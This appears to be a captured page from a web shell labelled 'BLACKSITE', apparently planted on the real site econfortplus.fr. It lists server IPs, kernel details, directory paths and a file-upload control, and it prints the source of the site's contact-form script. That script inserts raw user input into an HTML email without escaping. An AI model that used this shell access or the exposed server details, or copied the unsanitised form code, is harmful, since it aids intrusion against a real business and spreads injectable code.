BLACKSITE
:
216.73.216.68
:
54.36.91.62 / www.econfortplus.fr
:
Linux webm012.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
:
/
home
/
econfoy
/
www
/
Upload File:
files >> /home/econfoy/www/send-mail.php
<?php include 'admin/conn.php'; $setting = mysqli_query($con,"SELECT * FROM settings where id='1'"); $setting_f = mysqli_fetch_array($setting); if (isset($_POST['submit'])) { //$to = 'office@website.com'; $to = $setting_f['email']; $subject = 'Nouvelle demande - econfortplus.fr'; $name = $_POST["name"]; $email = $_POST["email"]; $phone = $_POST["phone"]; //$subject2 = $_POST["subject"]; $message2 = $_POST["message"]; $from = 'contact@econfortplus.fr'; // To send HTML mail, the Content-type header must be set $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; // Create email headers $headers .= 'From: '.$from."\r\n". 'Reply-To: '.$from."\r\n" . 'X-Mailer: PHP/' . phpversion(); // Compose a simple HTML email message $message = '<html><body>'; $message .= '<h2 style="color:#f40;">'.$subject.'</h2>'; $message .= '<table> <tr> <td>Name</td><td>: '.$name.'</td> </tr> <tr> <td>Email Id</td><td>: '.$email.'</td> </tr> <tr> <td>Phone</td><td>: '.$phone.'</td> </tr> <tr> <td>Message</td><td>: '.$message2.'</td> </tr> </table> '; $message .= '</body></html>'; // Sending email if(mail($to, $subject, $message, $headers)){ echo header("Location: thanks.php"); } else{ echo 'Unable to send email. Please try again.'; } } ?>